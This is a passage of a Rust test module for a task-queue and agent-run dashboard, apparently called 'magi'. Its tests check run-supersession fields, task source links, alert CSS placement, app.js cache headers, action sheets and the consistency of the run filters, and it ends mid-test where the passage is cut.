24565
24566    #[test]
24567    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24568        let home = TempDir::new().expect("temp home");
24569        let ui = idle_ui(&home);
24570        std::fs::write(
24571            home.path().join("daemon.json"),
24572            serde_json::json!({
24573                "schema": 2, "pid": 4242, "worker_protocol": 1,
24574                "updated_at": Timestamp::now().to_string(), "idle": true,
24575            })
24576            .to_string(),
24577        )
24578        .expect("status");
24579        let reading = daemon::read_status(home.path());
24580        assert!(Foreign::of(reading.as_ref()).is_none());
24581        let view = ui.runtime_loop_view(reading, &[]);
24582        assert!(view.running);
24583        assert!(view.owned);
24584    }
24585
24586    #[test]
24587    fn only_an_explicit_one_requests_a_resume() {
24588        assert!(!resume_requested(None));
24589        assert!(!resume_requested(Some("0".into())));
24590        assert!(!resume_requested(Some("".into())));
24591        assert!(resume_requested(Some("1".into())));
24592    }
24593
24594    #[test]
24595    fn an_error_is_visible_from_where_the_button_is() {
24596        // The alert used to sit in the flow under the header. On a phone
24597        // scrolled 13 500 px down to a run's action sheet that is off screen,
24598        // so tapping Resume and being told "the loop is running run b455
24599        // right now" looked exactly like a button that did nothing.
24600        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24601            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24602        assert!(
24603            alert.contains("position: fixed"),
24604            "an error about the thing under your thumb has to be visible from \
24605             where your thumb is: {alert}"
24606        );
24607        assert!(
24608            alert.contains("z-index: 25"),
24609            "above the dock (20) and the run-actions FAB (15), so neither \
24610             buries it: {alert}"
24611        );
24612        assert!(
24613            alert.contains("var(--tap)"),
24614            "and clear of the dock and the home indicator: {alert}"
24615        );
24616        // The FAB sits at the same height on the right. An error that covered
24617        // it would hide the button the operator reaches for next.
24618        assert!(
24619            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24620            "the FAB's column stays free: {alert}"
24621        );
24622    }
24623
24624    #[tokio::test]
24625    async fn an_older_attempt_says_what_replaced_it() {
24626        let fx = Fixture::start().await;
24627        let q = fx.queue();
24628        let runs = fx.runs();
24629        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24630        write_run(&runs, first, RunStatus::Stalled);
24631        write_run(&runs, second, RunStatus::Blocked);
24632
24633        let mut t = Task::new(
24634            "one task".to_owned(),
24635            "do it".to_owned(),
24636            PathBuf::from("/repo"),
24637            Source::Human,
24638        );
24639        t.runs = vec![first.to_owned(), second.to_owned()];
24640        q.put(&mut t).expect("put");
24641
24642        // Two cards with the same title and no hint which is which was the
24643        // question: "why are there two of the same, one stalled and one
24644        // blocked?" The older one now names its replacement.
24645        let rows = fx.get("/api/runs").await.json();
24646        let by = |short: &str| -> Value {
24647            rows.as_array()
24648                .unwrap()
24649                .iter()
24650                .find(|r| r["short"] == short)
24651                .cloned()
24652                .unwrap_or(Value::Null)
24653        };
24654        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24655        assert!(
24656            by("bbbb")["superseded_by"].is_null(),
24657            "the latest attempt is not superseded by anything"
24658        );
24659        // Front end: the note has to be rendered, not just carried.
24660        assert!(APP_JS.contains("run.superseded_by"));
24661        assert!(APP_JS.contains("Superseded by"));
24662    }
24663
24664    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24665        let mut t = Task::new(
24666            "one task".to_owned(),
24667            "do it".to_owned(),
24668            PathBuf::from("/repo"),
24669            Source::Human,
24670        );
24671        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24672        t.status = status;
24673        t
24674    }
24675
24676    #[test]
24677    fn source_link_picks_the_page_that_filed_the_task() {
24678        let agent = |node: &str| Source::Agent {
24679            run: "20260904-014455-ab12".to_owned(),
24680            node: node.to_owned(),
24681        };
24682        let chat = source_link(&agent("chat")).expect("chat link");
24683        assert_eq!(chat.kind, "chat");
24684        assert_eq!(chat.id, "20260904-014455-ab12");
24685        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24686        let run = source_link(&agent("implement")).expect("run link");
24687        assert_eq!(
24688            (run.kind, run.href.as_str()),
24689            ("run", "#/runs/20260904-014455-ab12")
24690        );
24691        assert_eq!(source_link(&Source::Human), None);
24692        assert_eq!(
24693            source_link(&Source::Issue {
24694                number: 3,
24695                repo: "o/r".to_owned()
24696            }),
24697            None
24698        );
24699        let odd = source_link(&Source::Agent {
24700            run: "a b/c".to_owned(),
24701            node: "chat".to_owned(),
24702        })
24703        .expect("link");
24704        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24705    }
24706
24707    #[test]
24708    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24709        assert!(
24710            !APP_JS.contains("src.node === \"chat\""),
24711            "inline href rule is back"
24712        );
24713        assert!(
24714            APP_JS.matches("sourceLinkOf(").count() >= 4,
24715            "helper must serve every page"
24716        );
24717        assert!(
24718            APP_JS.matches("openChatLink(").count() >= 3,
24719            "the run page still needs its explicit chat link"
24720        );
24721        assert!(
24722            !APP_JS.contains("const openChat = el("),
24723            "the Queue card duplicates its source label link again"
24724        );
24725        assert!(
24726            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24727            "the task page must link a chat source label too"
24728        );
24729    }
24730
24731    #[test]
24732    fn task_ref_carries_the_source_link_for_a_chat_task() {
24733        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24734        t.source = Source::Agent {
24735            run: "20260904-014455-ab12".to_owned(),
24736            node: "chat".to_owned(),
24737        };
24738        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24739        let v = serde_json::to_value(&out).expect("json");
24740        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24741        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24742        assert_eq!(v["source_label"], t.source.label());
24743
24744        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24745        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24746            .expect("json");
24747        assert!(v["source_link"].is_null(), "{v}");
24748    }
24749
24750    #[test]
24751    fn task_view_serializes_source_link() {
24752        let mut t = Task::new(
24753            "t".to_owned(),
24754            "t".to_owned(),
24755            PathBuf::from("/repo"),
24756            Source::Agent {
24757                run: "20260901-000000-aaaa".to_owned(),
24758                node: "implement".to_owned(),
24759            },
24760        );
24761        t.runs.clear();
24762        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24763        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24764        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24765    }
24766
24767    #[test]
24768    fn task_view_serializes_urgent_flag() {
24769        let mut t = Task::new(
24770            "t".to_owned(),
24771            "t".to_owned(),
24772            PathBuf::from("/repo"),
24773            Source::Human,
24774        );
24775        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24776        assert_eq!(v["urgent"], false, "{v}");
24777        t.urgent = true;
24778        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24779        assert_eq!(v["urgent"], true, "{v}");
24780        assert!(APP_JS.contains("task.urgent === true"));
24781    }
24782
24783    #[tokio::test]
24784    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24785        let fx = Fixture::start().await;
24786        let runs = fx.runs();
24787        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24788        write_run(&runs, old, RunStatus::Blocked);
24789        write_run(&runs, new, RunStatus::Merged);
24790        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24791        fx.queue().put(&mut t).expect("put");
24792
24793        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24794        let task = &view["task"];
24795        assert_eq!(task["status"], "done");
24796        assert_eq!(task["is_latest"], false);
24797        assert_eq!(task["latest"]["short"], "bbbb");
24798        assert_eq!(task["finished_by"]["id"], new);
24799        assert_eq!(task["finished_by"]["outcome"], "merged");
24800        assert_eq!(task["closed_by_hand"], false);
24801        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24802        assert!(APP_JS.contains("finished_by"));
24803        assert!(APP_JS.contains("superseded by run"));
24804    }
24805
24806    #[tokio::test]
24807    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24808        let fx = Fixture::start().await;
24809        let runs = fx.runs();
24810        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24811        write_run(&runs, old, RunStatus::Stalled);
24812        write_run(&runs, new, RunStatus::Blocked);
24813        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24814        fx.queue().put(&mut t).expect("put");
24815
24816        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24817        assert_eq!(task["status"], "held");
24818        assert_eq!(task["is_latest"], true);
24819        assert!(task["latest"].is_null());
24820        assert!(task["finished_by"].is_null());
24821        assert_eq!(task["closed_by_hand"], false);
24822    }
24823
24824    #[tokio::test]
24825    async fn a_direct_run_has_no_task_outcome() {
24826        let fx = Fixture::start().await;
24827        let runs = fx.runs();
24828        let id = "20260901-000000-aaaa";
24829        write_run(&runs, id, RunStatus::Blocked);
24830        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24831        assert!(view["task"].is_null());
24832    }
24833
24834    #[test]
24835    fn task_outcome_does_not_guess_a_finishing_run() {
24836        let a = "20260901-000000-aaaa";
24837        let b = "20260901-000000-bbbb";
24838        let c = "20260901-000000-cccc";
24839        let dir = tempfile::tempdir().expect("tempdir");
24840        write_run(dir.path(), a, RunStatus::Blocked);
24841        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24842        // `c` has no record: unreadable.
24843        let read = |id: &str| read_run(dir.path(), id).ok();
24844        // Neither a blocked run nor a no-op finished the task; the newest run is
24845        // unreadable and still named.
24846        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24847        let out = task_outcome(&t, a, 3, read);
24848        assert!(out.finished_by.is_none());
24849        assert!(out.closed_by_hand);
24850        let latest = out.latest.expect("latest");
24851        assert_eq!(latest.id, c);
24852        assert_eq!(latest.status, None);
24853        assert_eq!(latest.outcome, "record unreadable");
24854
24855        // A Ready run settles the task as done, so it is named as the finisher.
24856        write_run(dir.path(), c, RunStatus::Ready);
24857        let t = outcome_task(&[a, c], TaskStatus::Done);
24858        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24859        assert_eq!(out.finished_by.expect("finisher").id, c);
24860        assert!(!out.closed_by_hand);
24861
24862        // A resumed run id repeats: it is still the latest by id.
24863        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24864        assert!(task_outcome(&t, a, 3, read).is_latest);
24865    }
24866
24867    #[tokio::test]
24868    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24869        // The list route has known this since the card fix above; the detail
24870        // route — what an operator actually opens from a notification about
24871        // a blocked run — did not, and went on showing a bare red BLOCKED
24872        // chip for a run a retry had already finished.
24873        let fx = Fixture::start().await;
24874        let q = fx.queue();
24875        let runs = fx.runs();
24876        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24877        write_run(&runs, first, RunStatus::Blocked);
24878        write_run(&runs, second, RunStatus::Merged);
24879
24880        let mut t = Task::new(
24881            "one task".to_owned(),
24882            "do it".to_owned(),
24883            PathBuf::from("/repo"),
24884            Source::Human,
24885        );
24886        t.runs = vec![first.to_owned(), second.to_owned()];
24887        q.put(&mut t).expect("put");
24888
24889        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24890        assert_eq!(earlier["superseded_by"], "dddd");
24891        assert_eq!(earlier["latest_attempt"]["id"], second);
24892        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24893        assert_eq!(
24894            earlier["latest_attempt"]["resolved"], true,
24895            "the run that replaced it landed, so this one reads as settled"
24896        );
24897
24898        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24899        assert!(
24900            later["superseded_by"].is_null(),
24901            "the latest attempt is not superseded by anything"
24902        );
24903        assert!(
24904            later["latest_attempt"].is_null(),
24905            "the latest attempt has no later attempt of its own"
24906        );
24907
24908        // Front end: the detail page has to read the field this route now
24909        // carries, downgrade the chip, and link to the run that replaced it —
24910        // not just repeat the list card's own logic under a different name.
24911        // The link is built off `latest_attempt.id`, the server-resolved
24912        // full id, never a bare short string a client would have to guess a
24913        // full run from.
24914        assert!(APP_JS.contains("run.latest_attempt"));
24915        assert!(APP_JS.contains("data-superseded"));
24916        assert!(APP_JS.contains("#/runs/${latest.id}"));
24917    }
24918
24919    #[tokio::test]
24920    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24921        // A -> B -> C, all Blocked except the last. A's immediate successor
24922        // (superseded_by) is B, which is itself unresolved; what an operator
24923        // opening A's page actually needs is where the task's story stands
24924        // *now* - C, not B - without depending on whether C happens to be in
24925        // whatever page of /api/runs the client last cached.
24926        let fx = Fixture::start().await;
24927        let q = fx.queue();
24928        let runs = fx.runs();
24929        let (a, b, c) = (
24930            "20260901-000000-aaaa",
24931            "20260901-000000-bbbb",
24932            "20260901-000000-cccc",
24933        );
24934        write_run(&runs, a, RunStatus::Blocked);
24935        write_run(&runs, b, RunStatus::Blocked);
24936        write_run(&runs, c, RunStatus::Merged);
24937
24938        let mut t = Task::new(
24939            "retried twice".to_owned(),
24940            "do it".to_owned(),
24941            PathBuf::from("/repo"),
24942            Source::Human,
24943        );
24944        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24945        q.put(&mut t).expect("put");
24946
24947        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24948        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24949        assert_eq!(
24950            view["latest_attempt"]["id"], c,
24951            "the chain's current head, not the intermediate Blocked retry"
24952        );
24953        assert_eq!(view["latest_attempt"]["resolved"], true);
24954
24955        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24956        assert_eq!(mid["latest_attempt"]["id"], c);
24957        assert_eq!(mid["latest_attempt"]["resolved"], true);
24958    }
24959
24960    #[tokio::test]
24961    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24962        let fx = Fixture::start().await;
24963        let q = fx.queue();
24964        let runs = fx.runs();
24965
24966        // Still Blocked: the task is not resolved, so the older run must not
24967        // read as settled either.
24968        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24969        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24970        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24971        let mut t1 = Task::new(
24972            "still stuck".to_owned(),
24973            "do it".to_owned(),
24974            PathBuf::from("/repo"),
24975            Source::Human,
24976        );
24977        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24978        q.put(&mut t1).expect("put");
24979        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24980        assert_eq!(view1["latest_attempt"]["resolved"], false);
24981        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24982        assert_eq!(view1["latest_attempt"]["done"], true);
24983
24984        // Still running: the successor exists and must be reported as such.
24985        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24986        write_run(&runs, run_a, RunStatus::Blocked);
24987        write_run(&runs, run_b, RunStatus::Implementing);
24988        let mut t3 = Task::new(
24989            "retrying".to_owned(),
24990            "do it".to_owned(),
24991            PathBuf::from("/repo"),
24992            Source::Human,
24993        );
24994        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24995        q.put(&mut t3).expect("put");
24996        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24997        assert_eq!(view3["latest_attempt"]["id"], run_b);
24998        assert_eq!(view3["latest_attempt"]["resolved"], false);
24999        assert_eq!(view3["latest_attempt"]["done"], false);
25000
25001        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25002        // to check - not a confirmed finish, so this must not read as
25003        // resolved either, even though the run is done in the sense that
25004        // nothing is still running.
25005        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25006        write_run(&runs, noop_a, RunStatus::Blocked);
25007        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25008        let mut t2 = Task::new(
25009            "claims done".to_owned(),
25010            "do it".to_owned(),
25011            PathBuf::from("/repo"),
25012            Source::Human,
25013        );
25014        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25015        q.put(&mut t2).expect("put");
25016        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25017        assert_eq!(
25018            view2["latest_attempt"]["resolved"], false,
25019            "an unverified no-op claim must not read as a confirmed finish"
25020        );
25021
25022        // Front end: an unresolved successor must not carry the "finished
25023        // this work" note or the muted chip treatment.
25024        assert!(APP_JS.contains("latest.resolved"));
25025        // ...but the link to it shows as soon as it exists, labelled by state
25026        // and without the "finished" wording or the muted chip.
25027        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25028        assert!(APP_JS.contains("Latest attempt: "));
25029        assert!(APP_JS.contains("in flight"));
25030        assert!(APP_JS.contains("not resolved"));
25031    }
25032
25033    #[tokio::test]
25034    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25035        let fx = Fixture::start().await;
25036        // No cache header at all meant browsers invented their own policy,
25037        // and one did: a phone went on showing "Candidates must be folded
25038        // before deleting. Run `magi fold` first." - deleted two releases
25039        // earlier - from a deck that no longer contained the sentence. The
25040        // button it named was right there, and unreachable.
25041        let js = fx.get("/app.js").await;
25042        assert_eq!(js.status, 200);
25043        let tag = js
25044            .header("etag")
25045            .expect("an etag to revalidate against")
25046            .to_owned();
25047        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25048        assert_eq!(
25049            js.header("cache-control"),
25050            Some("no-cache, must-revalidate"),
25051            "the phone has to ask every time"
25052        );
25053
25054        // And the asking has to be cheap, or `must-revalidate` just means
25055        // "send the whole interface on every load".
25056        let again = fx
25057            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25058            .await;
25059        assert_eq!(
25060            again.status, 304,
25061            "a deck it already has costs one round trip"
25062        );
25063        assert!(again.body.is_empty(), "304 carries no body");
25064
25065        // A weakened tag from a proxy still matches; a different build does
25066        // not, which is the case that has to deliver the new interface.
25067        let weak = fx
25068            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25069            .await;
25070        assert_eq!(weak.status, 304);
25071        let stale = fx
25072            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25073            .await;
25074        assert_eq!(stale.status, 200, "an older build must be replaced");
25075        assert!(stale.body.contains("renderRunActions"));
25076    }
25077
25078    #[test]
25079    fn the_task_detail_has_an_actions_fab_and_sheet() {
25080        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25081        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25082        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25083        // Shown only on the task route, closed everywhere else.
25084        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25085        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25086        // Refreshed whenever the detail redraws, including the loading state.
25087        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25088        assert!(APP_JS.contains("renderTaskActions(null);"));
25089        // Same action renderers as the Queue card. Bound this check by the
25090        // next function, since additional task controls can grow the sheet.
25091        let (_, sheet) = APP_JS
25092            .split_once("function renderTaskActions(task) {")
25093            .expect("sheet renderer");
25094        let (body, _) = sheet
25095            .split_once("\nfunction openTaskActions() {")
25096            .expect("end of sheet renderer");
25097        assert!(body.contains("changePriority("));
25098        assert!(body.contains("openTaskEdit(task)"));
25099        assert!(body.contains("renderTaskHoldBox(host"));
25100        assert!(body.contains("renderTaskDoneBox(host"));
25101        assert!(body.contains("renderTaskDeleteBox(host"));
25102        assert!(APP_JS.contains("API.priority(id)"));
25103        assert!(APP_JS.contains("API.deleteTask(id)"));
25104        // A deleted task sends the operator back to the queue.
25105        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25106        // A refusal is shown inside the sheet.
25107        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25108    }
25109
25110    #[test]
25111    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25112        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25113        let actions = INDEX_HTML
25114            .find("id=\"run-actions-box\"")
25115            .expect("actions box");
25116        assert!(task < actions, "the task entry comes first in the sheet");
25117        assert!(APP_JS.contains("renderRunTaskEntry"));
25118        assert!(APP_JS.contains("\"Open task \""));
25119        // A run without a task says why there is nothing to open.
25120        assert!(APP_JS.contains("started directly, no task"));
25121        assert!(APP_JS.contains("sheet-task-link"));
25122        assert!(APP_JS.contains("task-chip-link"));
25123    }
25124
25125    #[test]
25126    fn the_deck_never_sends_the_operator_to_a_terminal() {
25127        // The whole point of the phone UI is that a terminal is not needed.
25128        // The delete control used to answer with "Run `magi fold` first."
25129        assert!(
25130            !APP_JS.contains("Run `magi fold` first"),
25131            "the deck must offer the fold, not prescribe a shell command"
25132        );
25133        assert!(APP_JS.contains("foldRun:"));
25134        assert!(APP_JS.contains("resumeRun:"));
25135        assert!(APP_JS.contains("renderRunActions"));
25136
25137        // Folding is destructive and armed in two steps, like deleting.
25138        assert!(APP_JS.contains("armedFold"));
25139        assert!(APP_JS.contains("Yes, fold worktrees"));
25140
25141        // And the copy has to say that the two actions are opposites, because
25142        // folding throws away exactly what a resume would continue from.
25143        assert!(APP_JS.contains("can no longer be resumed"));
25144    }
25145
25146    #[test]
25147    fn a_finished_run_explains_itself_with_its_own_last_line() {
25148        // The deck used to answer "why did this stop?" with a sentence chosen
25149        // by status alone. Run e633 stalled because two judges answered with
25150        // the wrong JSON shape and its card said "The panel collapsed on
25151        // agent quota" - with `quota: []` in the record and a quota-loss
25152        // counter right above it that correctly said nothing.
25153        assert!(
25154            !APP_JS.contains("collapsed on agent quota"),
25155            "a stall must not be explained by a cause the deck did not check"
25156        );
25157        assert!(
25158            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25159            "and a block must not offer a guess with an `or` in it"
25160        );
25161
25162        // The reason it does have is `run.event`, which must reach finished
25163        // runs: gating it on movement hid the recorded truth at the one moment
25164        // the operator is reading the card to find out what happened.
25165        assert!(
25166            APP_JS.contains("setText(r.event, run.event || \"\")"),
25167            "the run's last line is rendered unconditionally"
25168        );
25169        assert!(
25170            !APP_JS.contains("moving && run.event"),
25171            "and never gated on the run still moving"
25172        );
25173
25174        // Quota keeps its own counter, fed by the number actually recorded.
25175        assert!(APP_JS.contains("lost to quota"));
25176    }
25177
25178    /// The runs tree (section) and the state chips (waiting/done) are two
25179    /// independent lenses ANDed together in `renderRuns`, and some pairings
25180    /// can never both be true for any run - every "Landed"/"Ended" run is
25181    /// done by construction, so pairing either with "Active" or "In flight"
25182    /// always rendered zero cards with the filter bar still claiming
25183    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25184    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25185    /// a handful of (waiting, status) shapes standing in for the run
25186    /// lifecycle, because `cargo test` cannot execute the front end.
25187    ///
25188    /// That stand-in list is itself the part that drifted twice in review:
25189    /// once shipped with `waiting: true` paired with a done status the
25190    /// lifecycle cannot produce, then over-corrected into treating every
25191    /// waiting run as never done - which made "Waiting on you" look
25192    /// incompatible with "Done" even for the one real, reachable shape
25193    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25194    /// that combination. This test parses the shapes and the done-rule back
25195    /// out of `APP_JS`, reimplements `runSection` and the five state
25196    /// predicates independently in Rust, and checks the resulting
25197    /// section/filter compatibility table against the lifecycle rules by
25198    /// hand - so either direction of drift fails it again.
25199    #[test]
25200    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25201        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25202        let shapes_body_start =
25203            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25204        let shapes_close = APP_JS[shapes_body_start..]
25205            .find("].map(")
25206            .expect("the shape list is closed by its done-computing .map(...)")
25207            + shapes_body_start;
25208        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25209
25210        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25211        for entry in shapes_src.split('{').skip(1) {
25212            let waiting = entry.contains("waiting: true");
25213            let dead = entry.contains("live: \"dead\"");
25214            let status_at =
25215                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25216            let status_end = entry[status_at..]
25217                .find('"')
25218                .expect("the status string is closed")
25219                + status_at;
25220            let parked = entry.contains("display_status: \"parked\"");
25221            shapes.push((
25222                waiting,
25223                entry[status_at..status_end].to_string(),
25224                dead,
25225                parked,
25226            ));
25227        }
25228        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25229
25230        // The done rule itself (`!["implementing"].includes(shape.status)`),
25231        // read out of the source rather than hardcoded, so a renamed
25232        // in-flight status can't silently make every parsed shape "done".
25233        let done_rule_marker = "done: !";
25234        let done_rule_at = APP_JS[shapes_close..]
25235            .find(done_rule_marker)
25236            .expect("the done rule follows the shape list")
25237            + shapes_close
25238            + done_rule_marker.len();
25239        let includes_at = APP_JS[done_rule_at..]
25240            .find(".includes(shape.status)")
25241            .expect("the done rule ends in .includes(shape.status)")
25242            + done_rule_at;
25243        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25244            .trim()
25245            .trim_start_matches('[')
25246            .trim_end_matches(']')
25247            .split(',')
25248            .map(|s| s.trim().trim_matches('"'))
25249            .filter(|s| !s.is_empty())
25250            .collect();
25251
25252        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25253            .into_iter()
25254            .map(|(waiting, status, dead, parked)| {
25255                let done = !not_done.contains(&status.as_str());
25256                (waiting, status, dead, parked, done)
25257            })
25258            .collect();
25259
25260        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25261        // outright, then merged/ready land, stalled/blocked/failed/
25262        // verified_noop end, and everything else is still in flight.
25263        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25264            if waiting {
25265                return "waiting";
25266            }
25267            if dead
25268                && !parked
25269                && !matches!(
25270                    status,
25271                    "merged"
25272                        | "ready"
25273                        | "stalled"
25274                        | "blocked"
25275                        | "failed"
25276                        | "verified_noop"
25277                        | "superseded"
25278                        | "already_in_base"
25279                )
25280            {
25281                return "stale";
25282            }
25283            match status {
25284                "merged" | "ready" => "landed",
25285                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25286                | "already_in_base" => "ended",
25287                _ => "flight",
25288            }
25289        }
25290
25291        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25292        // way.
25293        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25294            match filter_key {
25295                "active" => !done,
25296                "flight" => !done && !waiting && !dead,
25297                "stale" => !done && !waiting && dead,
25298                "waiting" => waiting,
25299                "done" => done,
25300                "all" => true,
25301                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25302            }
25303        }
25304
25305        let compatible = |section: &str, filter_key: &str| {
25306            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25307                run_section(*waiting, status, *dead, *parked) == section
25308                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25309            })
25310        };
25311
25312        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25313        // (active, flight, stale, waiting, done, all) - hand-derived from the
25314        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25315        // currently contains.
25316        let expected = [
25317            ("waiting", [true, false, false, true, true, true]),
25318            ("stale", [true, false, true, false, false, true]),
25319            ("flight", [true, true, false, false, false, true]),
25320            ("landed", [false, false, false, false, true, true]),
25321            ("ended", [false, false, false, false, true, true]),
25322        ];
25323        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25324
25325        for (section, wants) in expected {
25326            for (filter_key, want) in filter_keys.iter().zip(wants) {
25327                assert_eq!(
25328                    compatible(section, filter_key),
25329                    want,
25330                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25331                );
25332            }
25333        }
25334
25335        // The compatibility check exists only to be acted on: both pickers
25336        // must actually consult it rather than just render its answer.
25337        assert!(
25338            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25339        );
25340        assert!(APP_JS.contains(
25341            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25342        ));
25343        assert!(APP_JS.contains(
25344            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25345        ));
25346    }
25347
25348    #[tokio::test]
25349    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25350        // An operator-named directory - git checkout or not - is never
25351        // second-guessed, even when it does not exist at all: only the
25352        // flag's own unmodified `.` default is ever eligible for discovery.
25353        let dir = tempfile::tempdir().expect("tempdir");
25354        let explicit = dir.path().join("not-a-checkout");
25355        std::fs::create_dir_all(&explicit).expect("create dir");
25356        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25357
25358        let missing = dir.path().join("does-not-exist-at-all");
25359        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25360    }
25361
25362    #[test]
25363    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25364        assert!(APP_JS.contains("function statsDonutArcs"));
25365        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25366        // A bucket click filters by the statuses src/stats.rs counts in it.
25367        assert!(APP_JS.contains("function statusInBucket"));
25368        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25369        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25370        let buckets = [
25371            "merged",
25372            "ready",
25373            "in_progress",
25374            "blocked",
25375            "failed",
25376            "verified_noop",
25377            "superseded",
25378            "stalled",
25379        ];
25380        for key in buckets {
